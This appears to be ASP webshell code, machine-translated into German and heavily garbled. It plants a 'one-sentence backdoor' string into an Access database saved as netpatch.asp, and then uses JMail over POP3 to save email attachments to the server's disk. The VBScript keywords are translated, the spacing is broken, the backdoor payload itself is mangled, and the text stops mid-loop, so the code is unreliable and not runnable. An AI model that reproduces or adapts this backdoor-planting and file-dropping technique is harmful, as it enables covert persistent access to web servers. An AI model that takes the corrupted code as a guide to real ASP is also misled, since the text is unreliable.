<%
'codebyNetpatch
Dimdbfile, SQL
db = "netpatch.asp"
dbFile = server.mappath (db)
setydb = server.createObject ("adox.catalog")
ydb.create "provider = microsoft.jet.oledb.4.0; dataSource =" & dbfile
setydb = nichts
ifer.number = 0Then
Response.writedBfile & "erfolgreich erstellen <br>"
anders
Response.write "Erstellung fehlgeschlagen, Grund:" & Err.Description
Antwort.end
Endif
SetConn = server.createObject ("adodb.Connection")
Conn.open "Provider = microsoft.jet.oledb.4.0; dataSource =" & dbfile
SQL = "createTableFdata ([Daten] memo)"
Conn.Execute (SQL)
SetRs = createObject ("adodb.recordset")
rs.open "fdata", conn, 1,3
rs.addnew
RS ("Data") = "┼Power -Nummer und revitalisieren Sie den Feind>" "(Denken Sie daran, die Kommentare zu entfernen! Ein Satz Backdoor Execiutionerquest (" n "))
Rs.Update
%>
Schreiben Sie Dateien in JMAIL in Festplatte
<%
'CODZBYKEVIN1986 [S4T]
User = request.form ("user")
Pass = request.form ("pass")
PopServer = request.form ("popserver")
Ifuser <> "" und pass <> "" "und Popserver <>" "dann
SetObjmail = createObject ("jmail.pop3")
Objmail.Connectuser, Pass, PopServer
setObjmsg = createObject ("jmail.message")
SetObjmsg = objmail.messages.Item (1)
separator = ",", ","
response.write "AttachmentNameeis:" & Saveatta & "<br>"
objmail.disconnect
Endif
FunktionenAvatta ()
SetAttachments = objmsg.Attachments
separator = ",", ","
response.write "thesizeofthisattachmentis:" & objmsg.size & "<br>"
Fei = 0toattachments.count-1
Ifi = Anhänge.Count-1Then